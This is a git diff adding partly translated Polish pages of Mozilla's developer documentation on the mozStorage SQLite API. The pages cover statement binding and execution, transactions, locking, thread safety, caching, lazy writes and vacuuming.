+// var firstidx = statement.getParameterIndex("?1");
+// statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+</pre>
+
+<p>If you want to use a <code>WHERE</code> clause with an <code>IN ( value-list )</code> expression, Bindings won't work. Construct a string instead. If you're not handling user input it's no safety concern:</p>
+
+<pre>var ids = "3,21,72,89";
+var sql = "DELETE FROM table WHERE id IN ( "+ ids +" )";
+</pre>
+
+<h3 id="Wykonywanie_instrukcji" name="Wykonywanie_instrukcji">Wykonywanie instrukcji</h3>
+
+<h3 id="Executing_a_statement" name="Executing_a_statement">Executing a statement</h3>
+
+<p>The main way to execute a statement is with <code>mozIStorageStatement.executeStep</code>. This function allows you to enumerate all the result rows your statement produces, and will notify you when there are no more results.</p>
+
+<p>After a call to <code>executeStep</code>, you <strong>use the appropriate getter function</strong> in <a href="pl/MozIStorageValueArray">mozIStorageValueArray</a> to get the values in a result row (mozIStorageStatement implements mozIStorageValueArray). The example below only uses <code>getInt32()</code>.</p>
+
+<p>You can get the type of a value from <code>mozIStorageValueArray.getTypeOfIndex</code>, which returns the type of the specified column. Be careful: sqlite is not a typed database. Any type can be put into any cell, regardless of the type declared for the column. If you request a different type, sqlite will do its best to convert them, and will do some default value if it is impossible. Therefore, it is impossible to get type errors, but you may get weird data out.</p>
+
+<p>C++ code can also use <code>AsInt32</code>, <code>AsDouble</code>, etc. functions which return the value as a more convenient C++ return value. Watch out, though, because you won't get any errors if your index is invalid. Other errors are impossible, because sqlite will always convert types, even if they don't make sense.</p>
+
+<p>Przykład C++:</p>
+
+<pre>PRBool hasMoreData;
+while (NS_SUCCEEDED(statement-&gt;ExecuteStep(&amp;hasMoreData)) &amp;&amp; hasMoreData) {
+ PRInt32 value = statement-&gt;AsInt32(0);
+ // use the value...
+}
+</pre>
+
+<p>Przykład Javascript:</p>
+
+<pre>while (statement.executeStep()) {
+ var value = statement.getInt32(0); // use the correct function!
+ // use the value...
+}
+</pre>
+
+<p><code>mozIStorageStatement.execute()</code> is a convenience function for when you are getting no data out of the statement. It steps the statement once and resets it. This can be useful for insert statements because it really cleans up the code:</p>
+
+<pre>var statement = mDBConn.createStatement("INSERT INTO my_table VALUES (?1)");
+statement.bindInt32Parameter(52);
+statement.execute();
+</pre>
+
+<p>This <img alt="Image:TTRW2.zip"> is a simple, but complete, JavaScript and XUL example of how you run an SQL SELECT against a database.</p>
+
+<h3 id="Resetting_a_statement" name="Resetting_a_statement">Resetting a statement</h3>
+
+<p>It is important to reset statements that are no longer being used. Un-reset write statements will keep a lock on the tables and will prevent other statements from accessing it. Un-reset read statements will prevent writes.</p>
+
+<p>When the statement object is freed, its corresponding database statement is closed. If you are using C++ and you know that all references will be destroyed, you don't have to explicitly reset the statement. Also, if you use <code>mozIStorageStatement.execute()</code>, you don't need to explicitly reset the statement; this function will reset it for you. Otherwise, call <code>mozIStorageStatement.reset()</code>.</p>
+
+<p>JavaScript callers should ensure that statements are reset. Be particularly careful about exceptions. You will want to make sure to reset your statements even if an exception is fired, or subsequent access to the database may not be possible. Resetting a statement is relatively lightweight, and nothing bad happens if it's already reset, so don't worry about unnecessary resets.</p>
+
+<pre>var statement = connection.createStatement(...);
+try {
+ // use the statement...
+} finally {
+ statement.reset();
+}
+</pre>
+
+<p>C++ callers must do the same. There is a scoped object in <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozStorageHelper.h" rel="custom">storage/public/mozStorageHelper.h</a></code> called mozStorageStatementScoper which will ensure that a given statement is reset when the enclosing scope is exited. It is hightly recommended that you use this object if possible.</p>
+
+<pre>void someClass::someFunction()
+{
+ mozStorageStatementScoper scoper(mStatement)
+ // use the statement
+}
+</pre>
+
+<h2 id="Last_insert_id" name="Last_insert_id">Last insert id</h2>
+
+<p>Use the <code>lastInsertRowID</code> property on the connection to get the id (rowid) from the last <code>INSERT</code> operation on the db.<br>
+ This is useful if you have a column in your table set to <code>INTEGER PRIMARY KEY</code> or <code>INTEGER PRIMARY KEY AUTOINCREMENT</code> in which case SQLite automatically assigns a value for each row inserted if you don't provide one.<a class="external" href="http://www.sqlite.org/faq.html#q1"> The returned value is of type <code>number</code> in JS and <code>long long</code> in C++. </a></p>
+
+<p><a class="external" href="http://www.sqlite.org/faq.html#q1"><code>lastInsertRowID</code> JS example: </a></p>
+
+<pre><a class="external" href="http://www.sqlite.org/faq.html#q1">var sql = "INSERT INTO contacts_table (number_col, name_col) VALUES (?1, ?2)"
+var statement = mDBConn.createStatement(sql);
+ statement.bindUTF8StringParameter(0, number);
+ statement.bindUTF8StringParameter(1, name);
+ statement.execute();
+ statement.reset();
+
+var rowid = mDBConn.lastInsertRowID;
+</a></pre>
+
+<h2 id="Transactions" name="Transactions"><a class="external" href="http://www.sqlite.org/faq.html#q1">Transactions </a></h2>
+
+<p><a class="external" href="http://www.sqlite.org/faq.html#q1">mozIStorageConnection has functions for beginning and ending transactions. If you do not explicitly use transactions, an implicit transaction will be created for you for each statement. This has major performance implications. There is overhead for each transaction, especially for commits. You will therefore see a large performance win when you are doing multiple statements in a row if you put them in a transaction. See </a><a href="pl/Storage/Performance">Storage:Performance</a> for more performance information.</p>
+
+<p>The major difference between other database systems is that sqlite does not support nested transactions. This means that once a transaction is open, you can not open another transaction. You can check <code>mozIStorageConnection.transactionInProgress</code> to see if a transaction is currently in progress.</p>
+
+<p>You can also just execute "BEGIN TRANSACTION" and "END TRANSACTION" directly as SQL statements (this is what the connection does when you call the functions). However, use of <code>mozIStorageConnection.beginTransaction</code> and related functions are<em>strongly</em> recommended because it stores transaction state in the connection. Otherwise, the attribute <code>transactionInProgress</code> will have the wrong value.</p>
+
+<p>sqlite has several types of transactions:</p>
+
+<ul>
+ <li>mozIStorageConnection.TRANSACTION_DEFERRED: The default. The database lock is acquired when needed (usually the first time you execute a statement in the transaction).</li>
+</ul>
+
+<ul>
+ <li>mozIStorageConnection.TRANSACTION_IMMEDIATE: Get a read lock on the database immediately.</li>
+</ul>
+
+<ul>
+ <li>mozIStorageConnection.TRANSACTION_EXCLUSIVE: Get a write lock on the database immediately.</li>
+</ul>
+
+<p>You can pass this type of transaction to <code>mozIStorageConnection.beginTransactionAs</code> to determine what kind of transaction you need. Keep in mind that if another transaction has already started, this operation will not succeed. Generally, the default TRANSACTION_DEFERRED type is sufficient and you shouldn't use the other types unless you really know why you need them. For more information, see the sqlite documentation about <a class="external" href="http://www.sqlite.org/lang_transaction.html">BEGIN TRANSACTION</a> and <a class="external" href="http://www.sqlite.org/lockingv3.html">locking</a>.</p>
+
+<pre>var ourTransaction = false;
+if (!mDBConn.transactionInProgress) {
+ ourTransaction = true;
+ mDBConn.beginTransactionAs(mDBConn.TRANSACTION_DEFERRED);
+}
+
+// ... use the connection ...
+
+if (ourTransaction)
+ mDBConn.commitTransaction();
+</pre>
+
+<p>From C++ code, you can use the mozStorageTransaction helper class defined in <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozStorageHelper.h" rel="custom">storage/public/mozStorageHelper.h</a></code>. This class will begin a transaction of the specified type on the specified connection when it comes into scope, and will either commit or rollback the transaction when it goes out of scope. If a transaction is already in progress, the transaction helper class will not do anything.</p>
+
+<p>It also has functions for explicitly committing. The typical use is that you create the class defaulting to rollback, and then explicitly commit the transaction when processing has succeeded:</p>
+
+<pre>nsresult someFunction()
+{
+ // deferred transaction (the default) with rollback on failure
+ mozStorageTransaction transaction(mDBConn, PR_FALSE);
+
+ // ... use the connection ...
+
+ // everything succeeded, now explicitly commit
+ return transaction.Commit();
+}
+</pre>
+
+<h2 id="How_to_corrupt_your_database" name="How_to_corrupt_your_database">How to corrupt your database</h2>
+
+<ul>
+ <li>Read this document: <a class="external" href="http://www.sqlite.org/lockingv3.html">File locking and concurrency in sqlite version 3</a>, especially the section on corruption.</li>
+</ul>
+
+<ul>
+ <li>Open more than one connection to the same file with names that aren't exactly the same as determined by <code>strcmp</code>. This includes "my.db" and "../dir/my.db" or, on Windows (case-insensitive) "my.db" and "My.db". Sqlite tries to handle many of these cases, but you shouldn't count on it.</li>
+</ul>
+
+<ul>
+ <li>Access a database from a symbolic or hard link.</li>
+</ul>
+
+<ul>
+ <li>Open connections to the same database from more than one thread (see "Thread safety" below).</li>
+</ul>
+
+<ul>
+ <li>Access a connection or statement from more than one thread (see "Thread safety" below).</li>
+</ul>
+
+<ul>
+ <li>Open the database from an external program while it is open in Mozilla. Our caching breaks the normal file-locking in sqlite that allows this to be done safely.</li>
+</ul>
+
+<h2 id="SQLite_Locking" name="SQLite_Locking">SQLite Locking</h2>
+
+<p>SQLite locks the entire database; that is, any active readers will cause an attempt to write to return SQLITE_BUSY, and an active writer will cause any attempt to read to return SQLITE_BUSY. A statement is considered active from the first step() until reset() is called. execute() calls step() and reset() in one go. A common problem is forgetting to reset() a statement after you've finished step()'ing through.</p>
+
+<p>While a given SQLite connection is capable of having multiple statements open, its locking model limits what these statements can do concurrently (reading or writing). It is in fact possible for multiple statements to be actively reading at one time. It is not possible, however, for multiple statements to be reading and writing at one time<em>on the same table</em> -- even if they are derived from the same connection.</p>
+
+<p>SQLite has a two-tiered locking model: connection level and table level. Most people are familiar with the connection (database) level locking: multiple readers but only one writer. The table-level (B-Tree) locks are what can sometimes be confusing. (Internally, each table in the database has its own B-Tree, so "table" and "B-Tree" are technically synonymous).</p>
+
+<h3 id="Table-level_locks" name="Table-level_locks">Table-level locks</h3>
+
+<p>You would think that if you have only one connection, and it locks the database for writing, you could use multiple statements to do whatever you want. Not entirely. You must be aware of table-level (B-Tree) locks, which are maintined by statement handles traversing the database (i.e. open SELECT statements).</p>
+
+<p>The general rule is this: a statement handle may <strong>not</strong> modify a table (B-Tree) which other statement handles are reading (have open cursors on) -- even if that statement handle shares the same connection (transaction context, database lock, etc.) with the other statement handles.<em>Attempts to do so will still block (or return SQLITE_BUSY)</em>.</p>
+
+<p>This problem often crops up when you attempt to iterate over a table with one statement and modify records within it using another statement. This will not work (or carries a high probability of not working, depending on the optimizer's involvement (see below)). The modifying statement will block because the reading statement has an open cursor on the table.</p>
+
+<h3 id="Working_around_locking_problems" name="Working_around_locking_problems">Working around locking problems</h3>
+
+<p>The solution is to follow (1) as described above. Theoretically, (2) actually shouldn't work with SQLite 3.x. In this scenario, database locks come into play (with multiple connections) in addition to table locks. Connection 2 (modifying connection) will not be able to modify (write to) the database while the Connection 1 (reading connection) is reading it. Connection 2 will require an exclusive lock to execute a modifying SQL command, which it cannot get as long as Connection 1 has active statements reading the database (Connection 1 has a shared read lock during this time which prohibits any other connections from getting an exclusive lock).</p>
+
+<p>Another option is to use a temporary table. Create a temporary table containing the results of the table of interest, iterate over it (putting the reading statement's table lock on the temp table) and then the modifing statement can make changes to the real table without any problem. This can be done with statements derived from a single connection (transaction context). This scenario sometimes happens behind the scenes anyway as ORDER BY can produce temporary tables internally. However, it is not safe to assume that the optimizer will do this in all cases. Explicitly creating a temporary table is only safe way to do perform this latter option.</p>
+
+<h2 id="Thread_safety" name="Thread_safety">Thread safety</h2>
+
+<p>The mozStorage service and sqlite are threadsafe. However, no other mozStorage or sqlite objects or operations are threadsafe.</p>
+
+<ul>
+ <li>The storage service must be created on the main thread. If you want to access the service from another thread, you should be sure that you call getService from the main thread ahead of time.</li>
+</ul>
+
+<ul>
+ <li>You can not access a connection or statement from multiple threads. These storage objects are not threadsafe, and the sqlite representations of them are not thread safe either. Even if you do locking and ensure that only one thread is doing something at once, there may be problems. This case hasn't been tested, and there may be some internal per-thread state in sqlite. It is strongly advised that you don't do this.</li>
+</ul>
+
+<ul>
+ <li>You can not access a single database from multiple connections from different threads. Normally, sqlite allows this. However, we do <code>sqlite3_enable_shared_cache(1);</code> (see <a class="external" href="http://www.sqlite.org/sharedcache.html">sqlite shared-cache mode</a>) which makes multiple connections share the same cache. This is important for performance. However, there is no lock for cache access, meaning it will break if you use if from more than one thread.</li>
+</ul>
+
+<p>It's worth noting, however, that authors of JavaScript browser extensions are less impacted by these restrictions than it might first appear. If a database is created and used exclusively from within JavaScript, thread safety usually will not be an issue. SpiderMonkey (the JavaScript engine run within Firefox) executes JavaScript from a single persistent thread, except when the JavaScript runs in a different thread or is executed from a callback made on a different thread (e.g. via some networking or stream interfaces). Barring incorrect use of multi-threaded JavaScript, problems should occur only if a database already in use by a non-JavaScript, system-level thread is accessed through mozStorage.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li><a href="pl/MozIStorageConnection">mozIStorageConnection</a> Database connection to a specific file or in-memory data storage</li>
+ <li><a href="pl/MozIStorageStatement">mozIStorageStatement</a> Create and execute SQL statements on a SQLite database.</li>
+ <li><a href="pl/MozIStorageValueArray">mozIStorageValueArray</a> Wraps an array of SQL values, such as a result row.</li>
+ <li><a href="pl/MozIStorageFunction">mozIStorageFunction</a> Create a new SQLite function.</li>
+ <li><a href="pl/MozIStorageAggregateFunction">mozIStorageAggregateFunction</a> Create a new SQLite aggregate function.</li>
+ <li><a href="pl/MozIStorageProgressHandler">mozIStorageProgressHandler</a> Monitor progress during the execution of a statement.</li>
+ <li><a href="pl/MozIStorageStatementWrapper">mozIStorageStatementWrapper</a> Storage statement wrapper</li>
+</ul>
+
+<ul>
+ <li><a href="pl/Storage/Performance">Storage:Performance</a> How to get your database connection performing well.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3072">Storage Inspector Extension</a> Makes it easy to view any sqlite database files in the current profile.</li>
+ <li><a class="external" href="http://www.sqlite.org/lang.html">SQLite Syntax</a> Query language understood by SQLite</li>
+ <li><a class="external" href="http://sqlitebrowser.sourceforge.net/">SQLite Database Browser</a> is a capable free tool available for many platforms. It can be handy for examining existing databases and testing SQL statements.</li>
+</ul>
diff --git a/files/pl/storage/wydajność/index.html b/files/pl/storage/wydajność/index.html
new file mode 100644
index 0000000000..cfbfa2dad8
--- /dev/null
+++ b/files/pl/storage/wydajność/index.html
@@ -0,0 +1,111 @@
+---
+title: Wydajność
+slug: Storage/Wydajność
+tags:
+ - Strony_wymagające_dopracowania
+ - Toolkit API
+ - Wszystkie_kategorie
+translation_of: Mozilla/Tech/XPCOM/Storage/Performance
+---
+<p><a href="/pl/Storage" title="pl/Storage">mozStorage</a> wykorzystuje {{ interwiki('wikipedia', 'SQLite', 'SQLite') }} jako backend dla bazy danych. Zwykle posiada dobrą wydajność dla niewielkiej, osadzonej bazy danych. Jednakże, wiele rzeczy może spowodować, iż różne operacje na bazie danych będą trwały długo.</p>
+
+<h3 id="Transakcje" name="Transakcje">Transakcje</h3>
+
+<p>Istnieje narzut związany z każdą transakcją. Kiedy uruchamiasz w izolacji wyrażenie SQL, tworzona jest ukryta transakcja dookoła tego wyrażenia. Kiedy transakcje są wykonywane, sqlite wykonuje księgowanie (journaling) które wymaga synchronizacji danych na dysk. Operacja ta jest bardzo powolna. W związku z tym, kiedy zamierzasz tworzyć kilka transakcji pod rząd, uzyskasz znaczny wzrost wydajności jeśli umieścisz je w pojedynczej transakcji.</p>
+
+<p>Jeśli nie korzystasz z zaawansowanej pamięci podręcznej opisanej poniżej, pamięć podręczna bazy danych jest czyszczona na końcu każdej transakcji. Jest to kolejny powód dla którego powinno się stosować transakcje, nawet jeśli uruchamia się operacje odczytu.</p>
+
+<p>Zapisy asynchroniczne, opisane poniżej, usuwają większość narzutu związanego z popełnieniem zmian, więc nie odczujesz tak bardzo tego problemu. Jednakże, pewien narzut wciąż istnieje, a stosowanie transakcji będzie nadal szybsze. Jednym z głównych problemów jest to, że lista operacji na plikach stanie się bardzo długa w przypadku stosowania wielu transakcji. Niektóre operacje wymagają przechodzenia przez tą kolejkę, aby stwierdzić, jakie operacje są wciąż w oczekiwaniu, przez co staną się powolne. Jeśli użytkownik wyłączy przeglądarkę zaraz po rozpoczęciu takiej operacji, może to spowodować opóźnienie wyłączania (być może nawet na kilkadziesiąt sekund dla dużych transakcji i powolnych dysków), przez co może to wyglądać dla użytkownika, jakby przeglądarka była zawieszona.</p>
+
+<h3 id="Kwerendy" name="Kwerendy">Kwerendy</h3>
+
+<p>Ostrożna zmiana kolejności poleceń w wyrażeniu sql, lub tworzenie poprawnych indeksów, może zwykle poprawić wydajność. Zobacz <a class="external" href="http://www.sqlite.org/optoverview.html">sqlite optimizer overview</a> na stronie sieci Web sqlite, aby zobaczyć informacje o tym, jak sqlite używa indeksów do uruchamiania wyrażeń.</p>
+
+<p>Możesz również sprobować wykorzystać polecenie "explain" w Twoich wyrażeniach, aby zobaczyć czy używają one indeksów, których oczekujesz. Napisz "explain" przed wyrażeniem, aby zobaczyć plan. Dla przykładu, <code>explain select * from moz_history;</code>. Wyniki mogą być trudne do zrozumienia, lecz powinieneś zobaczyć czy używają one indeksów. Polecenie które da Ci wyższy poziom wytłumaczenia to "explain query plan". Na przykład:</p>
+
+<pre>sqlite&gt; explain query plan select * from moz_historyvisit v join moz_history h
+ on v.page_id = h.id where v.visit_date &gt; 1000000000;
+
+0|0|TABLE moz_historyvisit AS v WITH INDEX moz_historyvisit_dateindex
+1|1|TABLE moz_history AS h USING PRIMARY KEY</pre>
+
+<p>Mówi to, że najpierw rozpocznie się szukanie w moz_historyvisit używając indeksu, a dopiero potem stosując klucza głównego. Obydwa sposoby są "dobre" ponieważ stosują one indeksy i klucze główne, co jest szybkie.</p>
+
+<pre>sqlite&gt; explain query plan select * from moz_historyvisit where session = 12;
+
+0|0|TABLE moz_historyvisit</pre>
+
+<p>W tym przypadku, możesz zobaczyć, że indeksy <em>nie</em> są wykorzystywane, więc ta kwerenda będzie powolna.</p>
+
+<p>Możesz pobrać narzędzie linii poleceń z <a class="external" href="http://www.sqlite.org/download.html">sqlite download page</a>. Upewnij się, że posiadasz wersję co najmniej tak nową, jaką używa Mozilla. Od 10 kwietnia 2006 Mozilla używa sqlite 3.3.4, jednakże najnowsza prekompilowana wersja narzędzia może nie być dostępna dla niektórych platform. Może to spowodować błędy typu "database is encrypted" ("baza danych jest zaszyfrowana"), ponieważ narzędzie nie będzie potrafiło rozpoznać formatu pliku. Możesz sprawdzić definicję SQLITE_VERSION w {{ Source("db/sqlite3/src/sqlite3.h") }} danej wersji, jeśli napotkasz problemy.</p>
+
+<h3 id="Caching" name="Caching">Caching</h3>
+
+<p>Sqlite utrzymuje strony bazy danych w pamięci podręcznej. Przechowuje strony związane z aktualna transakcją, tak, by móc je przywrócić, oraz te ostatnio użyte, aby szybciej pracować.</p>
+
+<p>Domyślnie, sqlite przechowuje strony w pamięci tylko podczas transakcji (jeśli nie otworzysz transakcji samodzielnie, zostanie taka stworzona dookoła każdego pojedynczego wyrażenia). Pod koniec transakcji, pamięć podręczna jest czyszczona. Jeśli od razu rozpoczniesz kolejna transakcję, strony które potrzebujesz zostaną ponownie odczytane z dysku (lub, miejmy nadzieję, pamięci podręcznej systemu operacyjnego). Powoduje to, iż nawet proste operacje blokują się na czytaniu z dysku, które mogą prowadzić do problemów na niektórych systemach ze słabym zarządzaniem pamięcią podręczną dysku lub dyskach sieciowych.</p>
+
+<p>Możesz kontrolować wielkość pamięci podręcznej poprzez zastosowanie <a class="external" href="http://www.sqlite.org/pragma.html"><em>pragmy</em></a> <code>cache_size</code>. Wartość ta kontroluje ilość stron pliku jaka może być przechowywana na raz w pamięci. Wielkość pojedynczej strony może być ustawiona za pomocą <em>pragmy</em> <code>page_size</code> zanim jakiekolwiek operacje na pliku zostały wykonane. Możesz zobaczyć przykład ustawiania maksymalnej wielkości pamięci podręcznej na pewien procent pamięci w nsNavHistory::InitDB in {{ Source("browser/components/places/src/nsNavHistory.cpp") }}.</p>
+
+<h4 id="Zachowywanie_pami.C4.99ci_podr.C4.99cznej_pomi.C4.99dzy_transakcjami" name="Zachowywanie_pami.C4.99ci_podr.C4.99cznej_pomi.C4.99dzy_transakcjami">Zachowywanie pamięci podręcznej pomiędzy transakcjami</h4>
+
+<p>mozStorage pozwala na <a class="external" href="http://www.sqlite.org/sharedcache.html">tryb shared-cache sqlite</a>, który pozwala wielu połączeniom do bazy danych używać tej samej pamięci podręcznej. Ponieważ pamięć podręczna nie jest <strong>threadsafe</strong>, znaczy to, iż nie możesz tworzyć połączeń z różnych wątków które będą korzystać z tej samej bazy danych. Jednakże, współdzielona pamięć podręczna pozwala nam zachować pamięć podręczną pomiędzy transakcjami, zamiast czyścić ją po każdej transakcji, tak, jak sqlite robi to domyślnie.</p>
+
+<p>W przypadku gdy Twoja aplikacja stosuje wiele małych transakcji, możesz uzyskać widoczny wzrost wydajności poprzez zachowywaniem pamięci podręcznej pomiędzy nimi. Możesz to zrobić tworząc dodatkowe połączenie-atrapę do tej samej bazy danych (jest to ważne by użyć tej samej nazwy pliku podczas otwierania tych połączeń tak jak w <code>strcmp</code>). Połączenie-atrapa otwiera permanentne połączenie które blokuje pamięć podręczną w pamięci. Jako ze pamięć podręczna jest dzielona z połączeniem głównym, nie wygasa ona nigdy.</p>
+
+<p>Transakcja-atrapa musi być tą, która blokuje stronę w pamięci. Proste wyrażenie <code>BEGIN TRANSACTION</code> nie zrobi tego ponieważ sqlite blokuje leniwie. Dlatego, musisz mieś mieć wyrażenie które modyfikuje dane. Może wydawać się kuszącym uruchomienie wyrażenia na <code>sqlite_master</code> które zawiera informacje na temat tabeli i indeksów w bazie danych. Jednakże, jeśli Twoja aplikacja inicjalizuje bazę po raz pierwszy, tabela będzie pusta i pamięć podręczna nie będzie blokowana. nsNavHistory::StartDummyStatement tworzy w tym celu tymczasową tabele z jednym elementem.</p>
+
+<p>Należy zauważyć, że jeśli wyrażenie jest otwarte, schemat bazy danych nie może zostać zmieniony. Oznacza to, że kiedy transakcja-atrapa jest uruchomiona, nie możesz tworzyć lub modyfikować tabeli ani indeksów, ani <em>odkurzać</em> (<em>vacuum</em>) bazy. Będziesz musiał zatrzymać transakcję-atrapę, wykonać operację modyfikującą schemat bazy i ponownie uruchomić atrapę.</p>
+
+<h4 id="Przygotowywanie_pami.C4.99ci_podr.C4.99cznej" name="Przygotowywanie_pami.C4.99ci_podr.C4.99cznej">Przygotowywanie pamięci podręcznej</h4>
+
+<p>Podczas uruchamiania, pamięć podręczna jest pusta i strony są wczytywane w razie potrzeby. Powoduje to wiele wywołań dysku, jako że strony czytane są w praktycznie dowolnym porządku. Wraz z domyślnym rozmiarem strony ustawionym na 1K, powoduje to wiele wywołań dysku co ostatecznie spowoduje, iż wiele operacji będzie powolne podczas uruchamiania.</p>
+
+<p>Mozilla dodała funkcję <code>Preload()</code> do <code>mozIStorageConnection</code> służącą do wczytywania danych w większych porcjach. Ponieważ dane czytane są z dysku w jednym kawałku, nie ma tyle wywołań dysku i wydajność może się poprawić, nawet jeśli znacznie więcej danych jest wczytywanych na raz do pamięci.</p>
+
+<p>Funkcja ta musi być wywołana po otwarciu pagera. Oznacza to, iż musisz zrobić co najmniej jedną operację odczytu lub zapisu, oraz mieć wciąż otwartą transakcję (może być to transakcja - atrapa opisana powyżej). Wczytuje to dane z dysku do momentu, gdy pamięć podręczną zostanie wypełniona do limitu, który skonfigurowałeś, lub gdy cały plik zostanie wczytany, w zależności od tego, która wielkość jest mniejsza.</p>
+
+<p>Wczytuje to dane rozpoczynając od początku pliku i czyta strony w kolejności. Jeśli Twoja baza danych jest znacznie większa od pamięci podręcznej, może to nie działać dobrze, jako ze żadna ze stron na końcu pliku jest wczytywana do pamięci. Jest to możliwe, aby dodać jakąś funkcjonalność, aby wczytywać strony poprzednio w pamięci podręcznej podczas ostatniego uruchomienia.</p>
+
+<h3 id="Zapisy_na_dysk" name="Zapisy_na_dysk">Zapisy na dysk</h3>
+
+<p>Sqlite wspiera podstawowe zasady teorii baz danych ACID:</p>
+
+<ul>
+ <li>Atomowość (<em><strong>a</strong>tomicity</em>): każda transakcja jest atomowa i nie może być wykonana "częściowo"</li>
+ <li>Spójność (<em><strong>c</strong>onsistency</em>): baza danych nie zostanie uszkodzona.</li>
+ <li>Izolacja (<em><strong>i</strong>solation</em>): transakcje wykonywane w tym samym czasie nie wpływają na siebie.</li>
+ <li>Trwałość (<em><strong>d</strong>urability</em>): kiedy zmiana została zastosowana, dane są zagwarantowane by były zastosowane.</li>
+</ul>
+
+<p>Problemem z tymi wymaganiami jest to, iż wymagania te powodują, że część operacji, przede wszystkim zapisy są bardzo powolne. Dla każdego zapisu, sqlite m.in. dwukrotnie synchronizuje dane na dysk, jak również wiele innych operacji (zobacz sekcję "Atomic Commit" na , aby uzyskać więcej informacji na temat ich działania). Te synchronizacje są bardzo powolne i ograniczają szybkość zapisu do prędkości rotacyjnej mechanicznego dysku.</p>
+
+<p>Dla historii przeglądarki, narzut ten jest nieakceptowalnie wysoki. Na wielu systemach, czas zapisu nowej strony do bazy danych historii był tak długi, jak pobranie całej strony (z niedalekiego, szybkiego serwera testowego) i renderowanie jest na ekranie. W związku z tym, Mozilla zaimplementowała system leniwej synchronizacji (<em>lazy sync</em>).</p>
+
+<h4 id="Leniwy_zapis" name="Leniwy_zapis">Leniwy zapis</h4>
+
+<p>Mozilla rozluźniła wymagania ACID, aby przyspieszyć zapisy. W szczególności, wyrzuciliśmy trwałość (durability). Oznacza to, że kiedy zapis zostanie zwrócony, nie ma gwarancji że on został zastosowany. Jednakże, wciąż wspieramy resztę (ACI) wymagań. Oznacza to, że baza danych nie zostanie uszkodzona. Jeśli wysiądzie prąd zaraz po zapisie, będzie tak, jakby transakcja została cofnięta: baza danych nadal będzie spójna.</p>
+
+<p>Zwiększona wydajność zapisów uzyskiwana jest poprzez stosowanie oddzielnego wątku do zapisywania danych (zobacz plik {{ Source("storage/src/mozStorageAsyncIO.cpp") }} który związany jest z serwisem storage w {{ Source("storage/src/mozStorageService.cpp") }}). Główny wątek bazy danych robi wszystko tak jak poprzednio. Jednakże, zmodyfikowaliśmy operacje na plikach i teraz wszystko przechodzi przez moduł AsyncIO. Plik ten jest oparty na <a class="external" href="http://www.sqlite.org/cvstrac/rlog?f=sqlite/src/test_async.c">test_async.c</a> z dystrybucji sqlite.</p>
+
+<p>Pakiety modułu AsyncIO tworzy wiadomości i ustawia je w kolejce wiadomości wątku zapisu. Wątek zapisu oczekuje na wiadomości i przetwarza je najszybciej jak może. Oznacza to, że zapisy, blokady i, co najważniejsze, synchronizacje na dysk, blokują tylko wątek AsyncIO. Odczyty robione są synchronicznie, biorąc pod uwagę niezapisane dane wciąż w buforze.</p>
+
+<h5 id="Shutdown" name="Shutdown">Shutdown</h5>
+
+<p>Jeśli robisz wiele zapisów, wątek AsyncIO "zostanie w tyle". Na szczęście, aplikacja da wątkowi wystarczająco czasu aby flush before exiting. If there are still items in the write queue on shutdown, the storage service will block until all data has been written. It then goes into single-threaded mode where all operations are synchronous. This enables other services to still use the database after the storage service has gotten the shutdown message.</p>
+
+<h5 id="Durable_transactions" name="Durable_transactions">Durable transactions</h5>
+
+<p>There is currently no way to ensure durability for particularly important transactions where speed is less of an issue. A flush command to guarantee data has been written to disk may be added in the future.</p>
+
+<h2 id="Vacuuming_and_zero-fill" name="Vacuuming_and_zero-fill">Vacuuming and zero-fill</h2>
+
+<p>WSqlite has a VACUUM command to compress unused space from the database. Sqlite works like a memory manager or a file system. When data is deleted, the associated bytes are marked as free but are not removed from the file. This means that the file will not shrink, and some data may still be visible in the file. The way to work around this is to run the VACUUM command to remove this space.</p>
+
+<p>Vacuuming is very slow. The vacuum command is essentially the same as the command line <code>sqlite3 olddb .dump | sqlite3 newdb; mv newdb olddb</code>. Na niektórych dyskach sieciowych, vacuuming 10MB bazy danych trwało ponad minutę. Therefore, you should avoid vacuuming whenever possible.</p>
+
+<p>Some items in databases are privacy sensitive, such as deleted history items. Users have the expectation that deleting items in their history will remove the traces of that from the database. As a result, Mozilla enables the <code>SQLITE_SECURE_DELETE</code> preprocessor flag in {{ Source("db/sqlite3/src/Makefile.in") }}. This flag causes deleted items to be filled with 0s on disk. This eliminates the need to vacuum except to reclaim disk space, and makes many operations much faster.</p>
+
+<p>Zero-filling can have significant performance overhead in some situations. For example, the history service used to delete many database items at shutdown when expiring old history items. This operation is not necessarily slow, but writing 0s to disk in an "ACI" database is still slow. This made shutdown very slow because the AsyncIO thread would block shutdown ({{ Bug(328598) }}). Shutdown times of more than 30 seconds were seen. As a result, this bug introduced incremental history expiration eliminating the need to write many 0s to disk on shutdown.</p>
+
+<p>Unfortunately, this operation cannot be controlled on a per-transaction or per-connection basis. Some operations will benefit, while others will be hurt.</p>
diff --git a/files/pl/toolkit_api/index.html b/files/pl/toolkit_api/index.html
new file mode 100644
index 0000000000..21b7fc5c90
--- /dev/null
+++ b/files/pl/toolkit_api/index.html
@@ -0,0 +1,32 @@
+---
+title: Toolkit API
+slug: Toolkit_API
+tags:
+ - Toolkit API
+ - Wszystkie_kategorie
+translation_of: Mozilla/Tech/Toolkit_API
+---
+<p>Pakiet Narzędziowy Mozilla jest zestawem interfejsów programistycznych (API) zbudowanym na bazie <a href="/pl/Gecko" title="pl/Gecko">Gecko</a> dostarczającym zaawansowane serwisy aplikacjom XUL. Przykładowe serwisy to:</p>
+<ul>
+ <li>Zarządzanie profilami</li>
+ <li>Rejestr chrome</li>
+ <li>Zarządzanie historią</li>
+ <li>Zarządzanie rozszerzeniami i motywami</li>
+ <li>Serwis aktualizacji aplikacji</li>
+ <li>Tryb bezpieczeństwa</li>
+</ul>
+<h3 id="Oficjalne_odno.C5.9Bniki" name="Oficjalne_odno.C5.9Bniki">Oficjalne odnośniki</h3>
+<p></p><p>
+ </p><ul>
+ <li><a href="/en/Bundles" title="en/Bundles">Structure of an Installable Bundle</a>: describes the common structure of installable bundles, including extensions, themes, and XULRunner applications</li>
